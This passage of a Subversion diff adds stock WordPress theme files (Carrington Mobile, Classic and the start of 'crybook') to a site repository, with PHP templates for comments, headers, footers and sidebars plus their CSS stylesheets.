+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+<p id="next-prev-top" class="pagination"><?php cfct_misc('nav-single'); ?></p>
+
+<div id="content" class="group">
+<?php
+
+cfct_loop();
+
+comments_template();
+
+?>
+</div><!--#content-->
+
+<p id="next-prev-bottom" class="pagination"><?php cfct_misc('nav-single'); ?></p>
+
+<?php 
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/style.css	(revision 44)
@@ -0,0 +1,85 @@
+/*
+
+Theme Name: Carrington Mobile
+Theme URI: http://carringtontheme.com
+Description: A mobile-friendly theme for your blog. Best used with (and included with) the WordPress Mobile Edition plugin. Supports basic mobile browsers as well as advanced and touch-screen browsers with a display optimized for each. Built on the Carrington framework.
+Version: 1.0.2
+Author: Crowd Favorite
+Author URI: http://crowdfavorite.com
+Tags: silver, white, one-column, flexible-width
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+*/
+
+body {
+	font-family: Verdana, sans-serif;
+}
+h1, h2, h3, p {
+	margin: 0 0 5px 0;
+	padding: 0;
+}
+ul, ol {
+	margin-top: 0;
+	margin-bottom: 5px;
+	margin-left:10px;
+	padding: 0;
+}
+hr {
+	color: #999;
+	height: 1px;
+}
+
+/* including for compatibility */
+
+.alignleft {
+	float:left;
+	margin-right:1em;
+	margin-bottom:1em;
+}
+.alignright {
+	float:right;
+	margin-left:1em;
+	margin-bottom:1em;
+}
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+.wp-caption {
+	border: 1px solid #ddd;
+	text-align: center;
+	background-color: #f3f3f3;
+	padding-top: 4px;
+	margin: 10px;
+	/* optional rounded corners for browsers that support it */
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+.wp-caption img {
+	margin: 0;
+	padding: 0;
+	border: 0 none;
+}
+.wp-caption p.wp-caption-text {
+	font-size: 11px;
+	line-height: 17px;
+	padding: 0 4px 5px;
+	margin: 0;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/comments-popup.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/comments-popup.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/comments-popup.php	(revision 44)
@@ -0,0 +1,126 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Classic_Theme
+ */
+?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+     <title><?php echo get_option('blogname'); ?> - <?php echo sprintf(__("Comments on %s"), the_title('','',false)); ?></title>
+
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+	<style type="text/css" media="screen">
+		@import url( <?php bloginfo('stylesheet_url'); ?> );
+		body { margin: 3px; }
+	</style>
+
+</head>
+<body id="commentspopup">
+
+<h1 id="header"><a href="" title="<?php echo get_option('blogname'); ?>"><?php echo get_option('blogname'); ?></a></h1>
+
+<?php
+/* Don't remove these lines. */
+add_filter('comment_text', 'popuplinks');
+if ( have_posts() ) :
+while( have_posts()) : the_post();
+?>
+
+<h2 id="comments"><?php _e("Comments"); ?></h2>
+
+<p><a href="<?php echo get_post_comments_feed_link($post->ID); ?>"><?php _e("<abbr title=\"Really Simple Syndication\">RSS</abbr> feed for comments on this post."); ?></a></p>
+
+<?php if ( pings_open() ) { ?>
+<p><?php _e("The <abbr title=\"Universal Resource Locator\">URL</abbr> to TrackBack this entry is:"); ?> <em><?php trackback_url() ?></em></p>
+<?php } ?>
+
+<?php
+// this line is WordPress' motor, do not delete it.
+$commenter = wp_get_current_commenter();
+extract($commenter);
+$comments = get_approved_comments($id);
+$commentstatus = get_post($id);
+if ( post_password_required($commentstatus) ) {  // and it doesn't match the cookie
+	echo(get_the_password_form());
+} else { ?>
+
+<?php if ($comments) { ?>
+<ol id="commentlist">
+<?php foreach ($comments as $comment) { ?>
+	<li id="comment-<?php comment_ID() ?>">
+	<?php comment_text() ?>
+	<p><cite><?php comment_type(_x('Comment', 'noun'), __('Trackback'), __('Pingback')); ?> <?php _e("by"); ?> <?php comment_author_link() ?> &#8212; <?php comment_date() ?> @ <a href="#comment-<?php comment_ID() ?>"><?php comment_time() ?></a></cite></p>
+	</li>
+
+<?php } // end for each comment ?>
+</ol>
+<?php } else { // this is displayed if there are no comments so far ?>
+	<p><?php _e("No comments yet."); ?></p>
+<?php } ?>
+
+<?php if ( comments_open($commentstatus) ) { ?>
+<h2><?php _e("Leave a comment"); ?></h2>
+<p><?php _e("Line and paragraph breaks automatic, e-mail address never displayed, <acronym title=\"Hypertext Markup Language\">HTML</acronym> allowed:"); ?> <code><?php echo allowed_tags(); ?></code></p>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+<?php if ( is_user_logged_in() ) : ?>
+<p><?php printf(__('Logged in as %s.'), '<a href="'.get_option('siteurl').'/wp-admin/profile.php">'.$user_identity.'</a>'); ?> <a href="<?php echo wp_logout_url(); ?>" title="<?php echo esc_attr(__('Log out of this account')); ?>"><?php _e('Log out &raquo;'); ?></a></p>
+<?php else : ?>
+	<p>
+	  <input type="text" name="author" id="author" class="textarea" value="<?php echo esc_attr($comment_author); ?>" size="28" tabindex="1" />
+	   <label for="author"><?php _e("Name"); ?></label>
+	</p>
+
+	<p>
+	  <input type="text" name="email" id="email" value="<?php echo esc_attr($comment_author_email); ?>" size="28" tabindex="2" />
+	   <label for="email"><?php _e("E-mail"); ?></label>
+	</p>
+
+	<p>
+	  <input type="text" name="url" id="url" value="<?php echo esc_attr($comment_author_url); ?>" size="28" tabindex="3" />
+	   <label for="url"><?php _e("<abbr title=\"Universal Resource Locator\">URL</abbr>"); ?></label>
+	</p>
+<?php endif; ?>
+
+	<p>
+	  <label for="comment"><?php _e("Your Comment"); ?></label>
+	<br />
+	  <textarea name="comment" id="comment" cols="70" rows="4" tabindex="4"></textarea>
+	</p>
+
+	<p>
+	  <input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+	  <input type="hidden" name="redirect_to" value="<?php echo esc_attr($_SERVER["REQUEST_URI"]); ?>" />
+	  <input name="submit" type="submit" tabindex="5" value="<?php esc_attr_e("Say It!"); ?>" />
+	</p>
+	<?php do_action('comment_form', $post->ID); ?>
+</form>
+<?php } else { // comments are closed ?>
+<p><?php _e("Sorry, the comment form is closed at this time."); ?></p>
+<?php }
+} // end password check
+?>
+
+<div><strong><a href="javascript:window.close()"><?php _e("Close this window."); ?></a></strong></div>
+
+<?php // if you delete this the sky will fall on your head
+endwhile; //endwhile have_posts()
+else: //have_posts()
+?>
+<p>Sorry, no posts matched your criteria.</p>
+<?php endif; ?>
+
+<!-- // this is just the end of the motor - don't touch that line either :) -->
+<?php //} ?>
+<p class="credit"><?php timer_stop(1); ?> <?php echo sprintf(__("<cite>Powered by <a href=\"http://wordpress.org\" title=\"%s\"><strong>WordPress</strong></a></cite>"),__("Powered by WordPress, state-of-the-art semantic personal publishing platform.")); ?></p>
+<?php // Seen at http://www.mijnkopthee.nl/log2/archive/2003/05/28/esc(18) ?>
+<script type="text/javascript">
+<!--
+document.onkeypress = function esc(e) {
+	if(typeof(e) == "undefined") { e=event; }
+	if (e.keyCode == 27) { self.close(); }
+}
+// -->
+</script>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/comments.php	(revision 44)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Classic_Theme
+ */
+
+if ( post_password_required() ) : ?>
+<p><?php _e('Enter your password to view comments.'); ?></p>
+<?php return; endif; ?>
+
+<h2 id="comments"><?php comments_number(__('No Comments'), __('1 Comment'), __('% Comments')); ?>
+<?php if ( comments_open() ) : ?>
+	<a href="#postcomment" title="<?php _e("Leave a comment"); ?>">&raquo;</a>
+<?php endif; ?>
+</h2>
+
+<?php if ( have_comments() ) : ?>
+<ol id="commentlist">
+
+<?php foreach ($comments as $comment) : ?>
+	<li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
+	<?php echo get_avatar( $comment, 32 ); ?>
+	<?php comment_text() ?>
+	<p><cite><?php comment_type(_x('Comment', 'noun'), __('Trackback'), __('Pingback')); ?> <?php _e('by'); ?> <?php comment_author_link() ?> &#8212; <?php comment_date() ?> @ <a href="#comment-<?php comment_ID() ?>"><?php comment_time() ?></a></cite> <?php edit_comment_link(__("Edit This"), ' |'); ?></p>
+	</li>
+
+<?php endforeach; ?>
+
+</ol>
+
+<?php else : // If there are no comments yet ?>
+	<p><?php _e('No comments yet.'); ?></p>
+<?php endif; ?>
+
+<p><?php post_comments_feed_link(__('<abbr title="Really Simple Syndication">RSS</abbr> feed for comments on this post.')); ?>
+<?php if ( pings_open() ) : ?>
+	<a href="<?php trackback_url() ?>" rel="trackback"><?php _e('TrackBack <abbr title="Universal Resource Locator">URL</abbr>'); ?></a>
+<?php endif; ?>
+</p>
+
+<?php if ( comments_open() ) : ?>
+<h2 id="postcomment"><?php _e('Leave a comment'); ?></h2>
+
+<?php if ( get_option('comment_registration') && !is_user_logged_in() ) : ?>
+<p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.'), wp_login_url( get_permalink() ) );?></p>
+<?php else : ?>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+<?php if ( is_user_logged_in() ) : ?>
+
+<p><?php printf(__('Logged in as %s.'), '<a href="'.get_option('siteurl').'/wp-admin/profile.php">'.$user_identity.'</a>'); ?> <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="<?php _e('Log out of this account') ?>"><?php _e('Log out &raquo;'); ?></a></p>
+
+<?php else : ?>
+
+<p><input type="text" name="author" id="author" value="<?php echo esc_attr($comment_author); ?>" size="22" tabindex="1" />
+<label for="author"><small><?php _e('Name'); ?> <?php if ($req) _e('(required)'); ?></small></label></p>
+
+<p><input type="text" name="email" id="email" value="<?php echo esc_attr($comment_author_email); ?>" size="22" tabindex="2" />
+<label for="email"><small><?php _e('Mail (will not be published)');?> <?php if ($req) _e('(required)'); ?></small></label></p>
+
+<p><input type="text" name="url" id="url" value="<?php echo esc_attr($comment_author_url); ?>" size="22" tabindex="3" />
+<label for="url"><small><?php _e('Website'); ?></small></label></p>
+
+<?php endif; ?>
+
+<!--<p><small><strong>XHTML:</strong> <?php printf(__('You can use these tags: %s'), allowed_tags()); ?></small></p>-->
+
+<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
+
+<p><input name="submit" type="submit" id="submit" tabindex="5" value="<?php esc_attr_e('Submit Comment'); ?>" />
+<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+</p>
+<?php do_action('comment_form', $post->ID); ?>
+
+</form>
+
+<?php endif; // If registration required and not logged in ?>
+
+<?php else : // Comments are closed ?>
+<p><?php _e('Sorry, the comment form is closed at this time.'); ?></p>
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/footer.php	(revision 44)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Classic_Theme
+ */
+?>
+<!-- begin footer -->
+</div>
+
+<?php get_sidebar(); ?>
+
+<p class="credit"><!--<?php echo get_num_queries(); ?> queries. <?php timer_stop(1); ?> seconds. --> <cite><?php echo sprintf(__("Powered by <a href='http://wordpress.org/' title='%s'><strong>WordPress</strong></a>"), __("Powered by WordPress, state-of-the-art semantic personal publishing platform.")); ?></cite></p>
+
+</div>
+
+<?php wp_footer(); ?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/functions.php	(revision 44)
@@ -0,0 +1,17 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Classic_Theme
+ */
+
+automatic_feed_links();
+
+if ( function_exists('register_sidebar') )
+	register_sidebar(array(
+		'before_widget' => '<li id="%1$s" class="widget %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '',
+		'after_title' => '',
+	));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/header.php	(revision 44)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Classic_Theme
+ */
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+
+<head profile="http://gmpg.org/xfn/11">
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+
+	<title><?php wp_title('&laquo;', true, 'right'); ?> <?php bloginfo('name'); ?></title>
+
+	<style type="text/css" media="screen">
+		@import url( <?php bloginfo('stylesheet_url'); ?> );
+	</style>
+
+	<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+	<?php wp_get_archives('type=monthly&format=link'); ?>
+	<?php //comments_popup_script(); // off by default ?>
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="rap">
+<h1 id="header"><a href="<?php bloginfo('url'); ?>/"><?php bloginfo('name'); ?></a></h1>
+
+<div id="content">
+<!-- end header -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/index.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Classic_Theme
+ */
+get_header();
+?>
+
+<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+
+<?php the_date('','<h2>','</h2>'); ?>
+
+<div <?php post_class() ?> id="post-<?php the_ID(); ?>">
+	 <h3 class="storytitle"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h3>
+	<div class="meta"><?php _e("Filed under:"); ?> <?php the_category(',') ?> &#8212; <?php the_tags(__('Tags: '), ', ', ' &#8212; '); ?> <?php the_author() ?> @ <?php the_time() ?> <?php edit_post_link(__('Edit This')); ?></div>
+
+	<div class="storycontent">
+		<?php the_content(__('(more...)')); ?>
+	</div>
+
+	<div class="feedback">
+		<?php wp_link_pages(); ?>
+		<?php comments_popup_link(__('Comments (0)'), __('Comments (1)'), __('Comments (%)')); ?>
+	</div>
+
+</div>
+
+<?php comments_template(); // Get wp-comments.php template ?>
+
+<?php endwhile; else: ?>
+<p><?php _e('Sorry, no posts matched your criteria.'); ?></p>
+<?php endif; ?>
+
+<?php posts_nav_link(' &#8212; ', __('&laquo; Newer Posts'), __('Older Posts &raquo;')); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/rtl.css	(revision 44)
@@ -0,0 +1,92 @@
+/* Based on Arabic (RTL) version of WordPress Classic theme, converted by Serdal (Serdal.com) */
+
+#menu ul ul, #wp-calendar caption, #wp-calendar #prev a { text-align: right; }
+#wp-calendar #next a, .feedback { text-align: left; }
+
+blockquote {
+	border-left: 0;
+	border-right: 5px solid #ccc;
+	margin-left: auto;
+	margin-right: 1.5em;
+	padding-left: 0;
+	padding-right: 5px;
+}
+
+body { font-family: 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; }
+
+h2 { font: 95% 'Al Bayan', 'Traditional Arabic', "Times New Roman", Times, serif; }
+
+p, li, .feedback {
+	font: 90%/175% 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
+	text-align: justify;
+}
+
+acronym, abbr, span.caps, h2, p, li, #header, #menu ul li, #menu ul ul li, #wp-calendar td, .feedback, .meta, .meta a { letter-spacing: normal; }
+
+#commentlist li ul {
+	border-left: 0;
+	border-right: 1px solid #ddd;
+}
+
+#commentlist li .avatar {
+	margin-right: 0;
+	margin-left: 12px;
+}
+
+#commentlist li .avatar {
+	margin-right: 0;
+	margin-left: 12px;
+}
+
+#content {
+	margin: 30px 3em 0 13em;
+	padding-right: 0;
+	padding-left: 60px;
+}
+
+#header {
+	border-left: solid 1px #9a9;
+	border-right: solid 1px #565;
+	font: normal normal 230% 'Al Bayan', 'Traditional Arabic', 'Times New Roman', Times, serif;
+	padding: 15px 60px 15px 10px;
+}
+
+#menu {
+	border-left: 0;
+	border-right: 1px dotted #ccc;
+	padding: 20px 30px 10px 0;
+	right: auto;
+	left: 2px;
+}
+
+#menu form { margin: 0 13px 0 0; }
+
+#menu ul {
+	padding-left: 0;
+	padding-right: 3px;
+}
+
+#menu ul li { font: normal normal 110% 'Geeza Pro', Tahoma, 'Times New Roman', Times, serif; }
+
+#menu ul ul li {
+	font: normal normal 12px/115% 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
+	padding-left: 0;
+	padding-right: 12px;
+}
+
+#menu ul ul ul.children {
+	padding-left: 0;
+	padding-right: 4px;
+}
+
+#wp-calendar #next a {
+	padding-right: 0;
+	padding-left: 10px;
+}
+
+#wp-calendar #prev a {
+	padding-left: 0;
+	padding-right: 10px;
+}
+
+#wp-calendar td { font: normal normal 12px 'Geeza Pro', Tahoma, 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/sidebar.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Classic_Theme
+ */
+?>
+<!-- begin sidebar -->
+<div id="menu">
+
+<ul>
+<?php 	/* Widgetized sidebar, if you have the plugin installed. */
+		if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
+	<?php wp_list_pages('title_li=' . __('Pages:')); ?>
+	<?php wp_list_bookmarks('title_after=&title_before='); ?>
+	<?php wp_list_categories('title_li=' . __('Categories:')); ?>
+ <li id="search">
+   <label for="s"><?php _e('Search:'); ?></label>
+   <form id="searchform" method="get" action="<?php bloginfo('home'); ?>">
+	<div>
+		<input type="text" name="s" id="s" size="15" /><br />
+		<input type="submit" value="<?php esc_attr_e('Search'); ?>" />
+	</div>
+	</form>
+ </li>
+ <li id="archives"><?php _e('Archives:'); ?>
+	<ul>
+	 <?php wp_get_archives('type=monthly'); ?>
+	</ul>
+ </li>
+ <li id="meta"><?php _e('Meta:'); ?>
+	<ul>
+		<?php wp_register(); ?>
+		<li><?php wp_loginout(); ?></li>
+		<li><a href="<?php bloginfo('rss2_url'); ?>" title="<?php _e('Syndicate this site using RSS'); ?>"><?php _e('<abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+		<li><a href="<?php bloginfo('comments_rss2_url'); ?>" title="<?php _e('The latest comments to all posts in RSS'); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+		<li><a href="http://validator.w3.org/check/referer" title="<?php _e('This page validates as XHTML 1.0 Transitional'); ?>"><?php _e('Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr>'); ?></a></li>
+		<li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
+		<li><a href="http://wordpress.org/" title="<?php _e('Powered by WordPress, state-of-the-art semantic personal publishing platform.'); ?>"><abbr title="WordPress">WP</abbr></a></li>
+		<?php wp_meta(); ?>
+	</ul>
+ </li>
+<?php endif; ?>
+
+</ul>
+
+</div>
+<!-- end sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/classic/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/classic/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/classic/style.css	(revision 44)
@@ -0,0 +1,368 @@
+/*
+Theme Name: WordPress Classic
+Theme URI: http://wordpress.org/
+Description: The original WordPress theme that graced versions 1.2.x and prior.
+Version: 1.5
+Author: Dave Shea
+Tags: mantle color, variable width, two columns, widgets
+
+Default WordPress by Dave Shea || http://mezzoblue.com
+Modifications by Matthew Mullenweg || http://photomatt.net
+This is just a basic layout, with only the bare minimum defined.
+Please tweak this and make it your own. :)
+*/
+
+.screen-reader-text {
+     position: absolute;
+     left: -1000em;
+}
+
+a {
+	color: #675;
+}
+
+a img {
+	border: none;
+}
+
+a:visited {
+	color: #342;
+}
+
+a:hover {
+	color: #9a8;
+}
+
+acronym, abbr {
+	border-bottom: 1px dashed #333;
+}
+
+acronym, abbr, span.caps {
+	font-size: 90%;
+	letter-spacing: .07em;
+}
+
+acronym, abbr {
+	cursor: help;
+}
+
+blockquote {
+	border-left: 5px solid #ccc;
+	margin-left: 1.5em;
+	padding-left: 5px;
+}
+
+body {
+	background: #fff;
+	border: 2px solid #565;
+	border-bottom: 1px solid #565;
+	border-top: 3px solid #565;
+	color: #000;
+	font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
+	margin: 0;
+	padding: 0;
+}
+
+cite {
+	font-size: 90%;
+	font-style: normal;
+}
+
+h2 {
+	border-bottom: 1px dotted #ccc;
+	font: 95% "Times New Roman", Times, serif;
+	letter-spacing: 0.2em;
+	margin: 15px 0 2px 0;
+	padding-bottom: 2px;
+}
+
+h3 {
+	border-bottom: 1px dotted #eee;
+	font-family: "Times New Roman", Times, serif;
+	margin-top: 0;
+}
+
+ol#comments li p {
+	font-size: 100%;
+}
+
+p, li, .feedback {
+	font: 90%/175% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
+	letter-spacing: -1px;
+}
+
+/* classes used by the_meta() */
+ul.post-meta {
+	list-style: none;
+}
+
+ul.post-meta span.post-meta-key {
+	font-weight: bold;
+}
+
+.credit {
+	background: #90a090;
+	border-top: 3px double #aba;
+	color: #fff;
+	font-size: 11px;
+	margin: 10px 0 0 0;
+	padding: 3px;
+	text-align: center;
+}
+
+.credit a:link, .credit a:hover {
+	color: #fff;
+}
+
+.feedback {
+	color: #ccc;
+	text-align: right;
+	clear: both;
+}
+
+.meta {
+	font-size: .75em;
+}
+
+.meta li, ul.post-meta li {
+	display: inline;
+}
+
+.meta ul {
+	display: inline;
+	list-style: none;
+	margin: 0;
+	padding: 0;
+}
+
+.meta, .meta a {
+	color: #808080;
+	font-weight: normal;
+	letter-spacing: 0;
+}
+
+.storytitle {
+	margin: 0;
+}
+
+.storytitle a {
+	text-decoration: none;
+}
+
+#commentform #author, #commentform #email, #commentform #url, #commentform textarea {
+	background: #fff;
+	border: 1px solid #333;
+	padding: .2em;
+}
+
+#commentform textarea {
+	width: 100%;
+}
+
+#commentlist li ul {
+	border-left: 1px solid #ddd;
+	font-size: 110%;
+	list-style-type: none;
+}
+
+#commentlist li .avatar {
+	float: right;
+	margin-right: 25px;
+	border: 1px dotted #ccc;
+	padding: 2px;
+}
+
+#content {
+	margin: 30px 13em 0 3em;
+	padding-right: 60px;
+}
+
+#header {
+	background: #90a090;
+	border-bottom: 3px double #aba;
+	border-left: 1px solid #9a9;
+	border-right: 1px solid #565;
+	border-top: 1px solid #9a9;
+	font: italic normal 230% 'Times New Roman', Times, serif;
+	letter-spacing: 0.2em;
+	margin: 0;
+	padding: 15px 10px 15px 60px;
+}
+
+#header a {
+	color: #fff;
+	text-decoration: none;
+}
+
+#header a:hover {
+	text-decoration: underline;
+}
+
+#menu {
+	background: #fff;
+	border-left: 1px dotted #ccc;
+	border-top: 3px solid #e0e6e0;
+	padding: 20px 0 10px 30px;
+	position: absolute;
+	right: 2px;
+	top: 0;
+	width: 11em;
+}
+
+#menu form {
+	margin: 0 0 0 13px;
+}
+
+#menu input#s {
+	width: 80%;
+	background: #eee;
+	border: 1px solid #999;
+	color: #000;
+}
+
+#menu ul {
+	color: #ccc;
+	font-weight: bold;
+	list-style-type: none;
+	margin: 0;
+	padding-left: 3px;
+	text-transform: lowercase;
+}
+
+#menu ul li {
+	font: italic normal 110% 'Times New Roman', Times, serif;
+	letter-spacing: 0.1em;
+	margin-top: 10px;
+	padding-bottom: 2px; /*border-bottom: dotted 1px #ccc;*/
+}
+
+#menu ul ul {
+	font-variant: normal;
+	font-weight: normal;
+	line-height: 100%;
+	list-style-type: none;
+	margin: 0;
+	padding: 0;
+	text-align: left;
+}
+
+#menu ul ul li {
+	border: 0;
+	font: normal normal 12px/115% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
+	letter-spacing: 0;
+	margin-top: 0;
+	padding: 0;
+	padding-left: 12px;
+}
+
+#menu ul ul li a {
+	color: #000;
+	text-decoration: none;
+}
+
+#menu ul ul li a:hover {
+	border-bottom: 1px solid #809080;
+}
+
+#menu ul ul ul.children {
+	font-size: 142%;
+	padding-left: 4px;
+}
+
+#wp-calendar {
+	border: 1px solid #ddd;
+	empty-cells: show;
+	font-size: 14px;
+	margin: 0;
+	width: 90%;
+}
+
+#wp-calendar #next a {
+	padding-right: 10px;
+	text-align: right;
+}
+
+#wp-calendar #prev a {
+	padding-left: 10px;
+	text-align: left;
+}
+
+#wp-calendar a {
+	display: block;
+	text-decoration: none;
+}
+
+#wp-calendar a:hover {
+	background: #e0e6e0;
+	color: #333;
+}
+
+#wp-calendar caption {
+	color: #999;
+	font-size: 16px;
+	text-align: left;
+}
+
+#wp-calendar td {
+	color: #ccc;
+	font: normal 12px 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
+	letter-spacing: normal;
+	padding: 2px 0;
+	text-align: center;
+}
+
+#wp-calendar td.pad:hover {
+	background: #fff;
+}
+
+#wp-calendar td:hover, #wp-calendar #today {
+	background: #eee;
+	color: #bbb;
+}
+
+#wp-calendar th {
+	font-style: normal;
+	text-transform: capitalize;
+}
+
+/* Captions & aligment */
+.aligncenter,
+div.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.wp-caption {
+	border: 1px solid #ddd;
+	text-align: center;
+	background-color: #f3f3f3;
+	padding-top: 4px;
+	margin: 10px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.wp-caption img {
+	margin: 0;
+	padding: 0;
+	border: 0 none;
+}
+
+.wp-caption p.wp-caption-text {
+	font-size: 11px;
+	line-height: 17px;
+	padding: 0 4px 5px;
+	margin: 0;
+}
+/* End captions & aligment */
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/404.php	(revision 44)
@@ -0,0 +1,11 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        	<div class="entry" id="post-error">
+            	<h2>404 - File not found</h2>
+                <p>Sorry but we can't find the right page you&rsquo;re looking for</p>
+            </div>
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/License.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/License.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/License.txt	(revision 44)
@@ -0,0 +1,7 @@
+LICENSING
+===================
+This theme where released under Creative Commons Attribution-Noncommercial 3.0 Unported License. Please read that license here: http://creativecommons.org/licenses/by-nc/3.0/
+
+You may modify, use in multiblog or projects. 
+You cannot modify and then resell it.
+More details pleae refer to our terms and conditions at http://themetation.com/terms/
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/archive.php	(revision 44)
